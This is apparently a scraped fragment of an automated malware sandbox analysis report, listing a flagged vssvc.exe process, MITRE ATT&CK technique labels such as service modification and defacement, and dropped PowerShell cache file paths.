C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:108

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_266260b1-506b-46ee-8ffd-f74ade426d58

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_47931ed0-1f3a-4727-b467-1abba254408f

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_787e939b-6ce7-4022-b0df-f2cadaf1211f

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7b368953-2fc5-4e6c-ac0c-4e9ca5ec1dea

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9adcef47-d90e-41e7-bb27-93604e256a20

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f66dfe3c-3c50-4c57-9265-ac0c7644a88d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads